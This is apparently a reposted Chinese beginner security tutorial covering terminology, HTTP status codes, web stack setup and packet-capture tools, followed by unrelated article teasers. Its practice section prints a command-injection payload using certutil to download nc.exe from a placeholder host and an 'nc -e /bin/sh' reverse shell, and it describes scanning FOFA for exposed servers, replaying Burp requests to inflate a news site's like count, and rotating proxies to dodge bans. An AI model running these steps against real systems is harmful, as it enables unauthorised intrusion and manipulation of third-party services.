安全基礎從0開始

文章目錄

  • 常見名詞
    • 小實戰
  • 網站搭建
    • 小實戰
    • 抓包模擬器
    • 狀態碼返回值
    • 網站搭建
    • WEB應用安全漏洞
  • 數據包&封包&信息收集
    • **參考點**

常見名詞

前后端,POC/EXP,Payload/Shellcode,后門/Webshell,木馬/病毒,

反彈,回顯,跳板,黑白盒測試,暴力破解,社會工程學,撞庫,ATT&CK等

名詞解釋

小實戰

  • fofa暗網瀏覽器中,使用"pikachu" && country="CN" && title="Get the pikachu"命令,查詢在線pikachu服務器,進入測試命令執行漏洞

    eg

  • 執行命令,查看回顯

    eg

  • 查看本機是哪種服務器,接著使用下載命令,將遠程連接nc下載到本地,并命名為n.exe
    文檔下載命令轉換

    eg

  • 選擇CMD下載命令,復制命令,使用命令執行127.0.0.1 & certutil.exe -urlcache -split -f http://www.xxx.com:80/nc.exe n.exe,出現以下,表示下載完成,也可以使用dir查看
    eg
    COMPLETE

  • 接著在想要反彈shell的電腦上使用命令 nc -lvvp 端口號(5566)監聽端口;在肉機上用nc -e /bin/sh(或cmd) 目標ip 5566;成功連接上遠端服務器。
    success

網站搭建

Web應用&架構搭建&漏洞概念&HTTP

Web應用&架構
理解不同WEB應用組成角色功能架構:
開發語言,程序源碼,中間件容器,數據庫類型,服務器操作系統,第三方軟件等
開發語言:asp,php,aspx,jsp,java,python,ruby,go,html,javascript等
程序源碼:根據開發語言分類;應用類型分類;開源CMS分類;開發框架分類等
中間件容器:IIS,Apache,Nginx,Tomcat,Weblogic,Jboos,glasshfish等
數據庫類型:Access,Mysql,Mssql,Oracle,db2,Sybase,Redis,MongoDB等
服務器操作系統:Windows系列,Linux系列,Mac系列等
第三方軟件:phpmyadmin,vs-ftpd,VNC,ELK,Openssh等

小實戰

一個好玩的東西,新浪新聞點贊,在不登陸的情況下只能點贊一次,究其原因應該是瀏覽器前端問題,可以刷新頁面繼續點贊,也可以截取數據包,多次發送就能解決僅能發送一次的問題。

  • 已經點贊后,無論如何去點都無法再次增加點贊量,此時的點贊量為229。

eg

  • 開啟burpsuite抓包,并右鍵送至中繼器(repeater)
    eg

  • 關閉抓包,在repeater中繼續send數據包,刷新網頁查看點贊量,此時的點贊量已經到了250次了。
    end

抓包模擬器

在PC端顯現出來的瀏覽器與手機端瀏覽器顯現出來的不同,使用burpsuite抓包,觀看數據包的區別。

  • burpsuite中配置代理,其中127是本地瀏覽器抓包,10是對該計算機局域網內進行抓包(特指模擬器)
    代理配置
  • 模擬器更改配置,代理--手動代理服務器主機名改為本機IP地址,dialing端口與上述一致,為8888,如下:
    模擬器配置
  • 分別在PC端與模擬器上抓包,讓數據流經burp抓包工具,如下:
    數據包

通過User-Agent可知其發生差異的原因

狀態碼返回值

參考文章1
參考文章2
400:發送請求有語法錯誤
403:文件夾存在,沒有權限訪問
404:訪問資源不存在(文件/文件夾)
3xx:跳轉,處置過程,判斷可有可無
????重定向(302)
5xx:內部錯誤,服務器問題,判斷可有可無
????500.服務器內部異常
????504.服務器請求超時,沒有返回結果

在對目標進行掃描時,盡量勾選它們,為了不放過任何結果,需要進行掃描
購買快代理,可以隨時更換ip,防止ip被封禁,也可以實現VPN的功效。

網站搭建

安裝的前提條件:

  • 擁有一臺自己的服務器和屬于自己的域名(域名要進行備案,如果不備案只能在大陸之外進行訪問)
  • 服務器安裝寶塔集成環境,方便操作使用
  • 選用遠程連接工具,可以使用Windows自帶的遠程連接,也可以使用FinalShell進行連接,在遠程服務器上進行操作

選擇安裝
選用Windows搭建:

  • 使用遠端mstsc進行搭建,域名沒有在國內備案,在阿里云選用大陸之外的云服務器
    選用按量收費,雙核4G,服務器選用Windows版本
    eg
  • 確認下單之后,配置安全組,配置服務器密碼,這些后期都能進行配置
    eg
  • 在服務器上下載寶塔,需要注冊,在域名處提前配置好,將域名訪問映射到服務器的ip,寶塔賬號密碼是隨機的
    eg
  • 直接關掉該頁面,會出現控制面板工具,復制面板地址到本機瀏覽器,開始網站的部署。
    面板
  • 進入以下界面,可以選擇傻瓜式安裝,也可以自己進行配置安裝,在軟件商店中選擇。
    界面
    Win參考連接
    Linux參考連接

WEB應用安全漏洞

Web應用安全漏洞分類
SQL注入,文件安全,RCE執行,XSS跨站,CSRF/SSRF/CRLF,
反序列化,邏輯越權,未授權訪問,XXE/XML,弱口令安全等

安全漏洞解釋

數據包&封包&信息收集

參考連接

抓包的意義: ????在我們安全測試中,對方可能會提供相對應的ip 地址,域名等等,那么有的應用是不會給你的,當在你測試的時候是不知道對方的目標名字什么的,那么我們就可以通過抓取數據包來獲得你想要的信息,例如,對方主機/ip,或者與其相關的信息。

抓包的對象: 那么抓包他主要是針對協議去抓取的,根據不同的協議配對不同的抓包工具,就好比我們的網站他可以用BURP抓包工具,那么我們的APP或者小程序,它就不行了我們的BURP就抓取不到,為什么,因為我們的APP/小程序他走的不是HTTP協議的,所有抓取不到。

抓包的協議: ????抓包的協議呢,就是我們的APP,它也可以是HTTP協議的走向,因為我們的HTML5就能做出APP,那么我們HTML5他的走向協議就是http協議,那個APP點開其實就是打開網站了,你留心可以發現,網站有一些網站和我們點開APP十分像

抓包的支持: ????其實就是目標他支持哪些抓包工具,支持哪些協議

封包的意義: ????封包他就能自定義我們的一個數據包,封包技術說簡單也不簡單,就是將一系列操作封裝為數據包,方便使用,很多我們的外掛都用到封包技術,就相當于說你自定義一個數據包封裝發送給服務器

參考點

Fiddler:
????是一個http協議調試代理工具,它能夠記錄并檢查所有你的電腦和互聯網之間的http通訊,設置斷點,查看所有的“進出”Fiddler的數據(指cookie,html,js,css等文件)。 Fiddler 要比其他的網絡調試器要更加簡單,因為它不僅僅暴露http通訊還提供了一個用戶友好的格式。

手機證書安裝,需要將防火墻關閉,安裝證書步驟參考
eg

Charles:
????是一個HTTP代理服務器,HTTP監視器,反轉代理服務器,當瀏覽器連接Charles的代理訪問互聯網時,Charles可以監控瀏覽器發送和接收的所有數據。它允許一個開發者查看所有連接互聯網的HTTP通信,這些包括request, response和HTTP headers (包含cookies與caching信息)。

????在模擬器中添加證書,help -->SSLproxying --> save Charles root certificate,保存之后,在模擬器中保存到文件夾中,接著設置-安全-(加密與憑據)用戶憑據-從存儲設備安裝 / 設置-WALN-更多WALN設置-安裝證書,接著會讓輸入密碼,安裝就能抓包。

抓取的包全部出現unknow的解決方法
proxy --> SSL Proxying Settings --> Add
來添加主機和端口,
如果個別情況出現unknow,可能是本身抓包軟件存在個別漏抓問題。可以忽略
egeg
工具欄
從左到右分別為:

(1)清除當前會話
(2)開始記錄
(3)開啟SSL代理
(4)開始限流/停止限流
(5)開始斷點/停止斷點
(6)根據所寫內容撰寫新請求
(7)重發選定請求
(8)工具
(9)設置

Charles 激活碼在線計算器
ios配置代理
ios下載證書問題
burp+逍遙模擬器 app抓包

TCPDump:
????是可以將網絡中傳送的數據包完全截獲下來提供分析。它支持針對網絡層、協議、主機、網絡或端口的過濾,并提供and、or、not等邏輯語句來幫助你去掉無用的信息。

BurpSuite:
????是用于攻擊web 應用程序的集成平臺,包含了許多工具。Burp Suite為這些工具設計了許多接口,以加快攻擊應用程序的過程。所有工具都共享一個請求,并能處理對應的HTTP 消息、持久性、認證、代理、日志、警報。

Wireshark:
????是一個網絡封包分析軟件。網絡封包分析軟件的功能是截取網絡封包,并盡可能顯示出最為詳細的網絡封包資料。Wireshark使用WinPCAP作為接口,直接與網卡進行數據報文交換。

WireShark使用教程

科來網絡分析系統:
????是一款由科來軟件全自主研發,并擁有全部知識產品的網絡分析產品。該系統具有行業領先的專家分析技術,通過捕獲并分析網絡中傳輸的底層數據包,對網絡故障、網絡安全以及網絡性能進行全面分析,從而快速排查網絡中出現或潛在的故障、安全及性能問題。

WPE&封包分析:
????是強大的網絡封包編輯器,wpe可以截取網絡上的信息,修改封包數據,是外掛制作的常用工具。一般在安全測試中可用來調試數據通訊地址。

封包攔截器
封包監聽工具

Charles (茶杯)
https://blog.csdn.net/weixin_45459427/article/details/108393878

Fidder
https://blog.csdn.net/weixin_45043349/article/details/120088449

BurpSuite
https://blog.csdn.net/qq_36658099/article/details/81487491

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/212614.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/212614.shtml
英文地址,請注明出處:http://en.pswp.cn/news/212614.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

ReactNative0.73發布,架構升級與更好的調試體驗

這次更新包含了多種提升開發體驗的改進,包括: 更流暢的調試體驗: 通過 Hermes 引擎調試支持、控制臺日志歷史記錄和實驗性調試器,讓調試過程更加高效順暢。穩定的符號鏈接支持: 簡化您的開發工作流程,輕松將文件或目錄鏈接到其他…

react表單-受控

react - 表單組件 受控組件 表單項中的值(value/checked)受到類組件state中數據來控制,同時還需要綁定一個onChange事件來完成對state中數據的修改 import React, { Component } from react;class AppInput extends Component {// 設置受控組…

基于ssm應急資源管理系統論文

摘 要 現代經濟快節奏發展以及不斷完善升級的信息化技術,讓傳統數據信息的管理升級為軟件存儲,歸納,集中處理數據信息的管理方式。本應急資源管理系統就是在這樣的大環境下誕生,其可以幫助管理者在短時間內處理完畢龐大的數據信息…

排序算法之七:歸并排序(遞歸)

基本思想 基本思想: 歸并排序(MERGE-SORT)是建立在歸并操作上的一種有效的排序算法,該算法是采用分治法(Divide and Conquer)的一個非常典型的應用。將已有序的子序列合并,得到完全有序的序列&#xff1…

C++:this指針

目錄 前言 成員函數返回this指向的對象本身時,為什是返回引用類型? 成員函數返回this對象本身時,內部通常會通過拷貝構造函數來創建一個臨時對象? 總結 前言 c通過提供特殊的對象指針,this指針 指向被調用的成員函…

openssl 常用命令 pkcs12

openssl pkcs12 openssl pkcs12 官方文檔 1. 描述 The pkcs12 command allows PKCS#12 files (sometimes referred to as PFX files) to be created and parsed. PKCS#12 files are used by several programs including Netscape, MSIE and MS Outlook. pkcs12 命令是用來創…

Nodejs 第二十二章(腳手架)

編寫自己的腳手架 那什么是腳手架? 例如:vue-cli Angular CLI Create React App 編寫自己的腳手架是指創建一個定制化的工具,用于快速生成項目的基礎結構和代碼文件,以及提供一些常用的命令和功能。通過編寫自己的腳手架,你可以…

Linux和Windows環境下如何使用gitee?

1. Linux 1.1 創建遠程倉庫 1.2 安裝git sudo yum install -y git 1.3 克隆遠程倉庫到本地 git clone 地址 1.4 將文件添加到git的暫存區(git三板斧之add) git add 文件名 # 將指定文件添加到git的暫存區 git add . # 添加新文件和修改過的…

深入理解HTTP狀態碼及其在Web開發中的應用

在Web開發中,我們經常需要與服務器進行交互,以獲取或發送數據。為了實現這一目標,我們使用HTTP協議。HTTP協議是一種無狀態的、應用層的協議,它定義了客戶端和服務器之間的通信方式。在HTTP協議中,有五種常用的HTTP狀態…

Python高級算法——動態規劃

Python中的動態規劃:高級算法解析 動態規劃是一種解決多階段決策問題的數學方法,常用于優化問題。它通過將問題分解為子問題,并在解決這些子問題的基礎上構建全局最優解。在本文中,我們將深入講解Python中的動態規劃,…

vs2017+qt5.14.2遇到的問題

1、在安裝qt插件后,導入pro文件時,報 msvc-version.conf loaded but QMAKE_MSC_VER isn’t set 修改E:\Qt\Qt5.14.2\5.14.2\msvc2017_64\mkspecs\common\msvc-version.conf文件中添加

RabbitMQ學習筆記10 綜合實戰 實現新商家規定時間內上架商品檢查

配置文件: 記住添加這個。 加上這段代碼,可以自動創建隊列和交換機以及綁定關系。 我們看到了我們創建的死信交換機和普通隊列。 我們可以看到我們隊列下面綁定的交換機。 我們創建一個controller包進行測試: 啟動: 過一段時間會變成死信隊列…

elasticsearch|大數據|elasticsearch的api部分實戰操作以及用戶和密碼的管理

一, 前言 本文主要內容是通過elasticsearch的api來進行一些集群的管理和信息查詢工作,以及elasticsearch用戶的增刪改查和密碼的重設以及重置如何操作 接上文:elasticsearch|大數據|elasticsearch低版本集群的部署安裝和安全增強---密碼設…

SSM與SpringBoot面試題總結

什么是spring?談談你對IOC和AOP的理解。 Spring:是一個企業級java應用框架,他的作用主要是簡化軟件的開發以及配置過程,簡化項目部署環境。 Spring的優點: 1、Spring低侵入設計,對業務代碼的污染非常低。 2、Spring的DI機制將…

FPGA設計時序約束十一、others類約束之Set_Maximum_Time_Borrow

目錄 一、序言 二、Set Maximum Time Borrow 2.1 基本概念 2.2 設置界面 2.3 命令語法 2.4 命令示例 三、參考資料 一、序言 在Vivado的時序約束窗口中,存在一類特殊的約束,劃分在others目錄下,可用于設置忽略或修改默認的時序路徑分析…

IntelliJ IDEA開啟git版本控制的簡單教程

這篇文章想要分享一下怎么在IntelliJ IDEA開啟版本控制,博主使用的是gitee,首先需要安裝git,關于git的安裝這里就不介紹了,很簡單。 目錄 創建git倉庫 創建項目 開啟版本控制 拉取項目 創建git倉庫 首先,需要登錄…

《Linux中lsof的神奇探秘:打開文件的魔法與更多相似利器》

前言 在Linux的世界里,lsof(List Open Files)是一個強大的工具,它能幫助我們輕松查看系統上打開的文件及網絡連接。然而,除了lsof之外,還有一些與它功能相似且同樣強大的命令等待著我們去發現。本文將引領…

MATLAB | 官方舉辦的動圖繪制大賽 | 第四周(收官周)賽情回顧

MATHWORKS官方舉辦的迷你黑客大賽第三期(MATLAB Flipbook Mini Hack)圓滿結束,雖然我的水平和很多大佬還有比較大的差距,但所有獎也算是拿滿了: 專家評選前三名,以及投票榜前十:~ 每周的階段性獲獎者: 下面…

【Python】手把手教你用tkinter設計圖書管理登錄UI界面(三)

上一篇:【Python】手把手教你用tkinter設計圖書管理登錄UI界面(二)-CSDN博客 下一篇: 緊接上一篇文章,繼續完善項目功能:用戶登錄。由于老王的注冊部分有億點點復雜,還沒完成,但是…

ngixn 準備

確認yum可用,確認防火墻,確認SELinux 一項安裝 yum -y install gcc make automake pcre-devel zlib zlib-devel openssl openssl-devel參數: gcc:編譯依賴gcc環境 pcre:PCRE(Perl Compatible Regular Expressions)是一…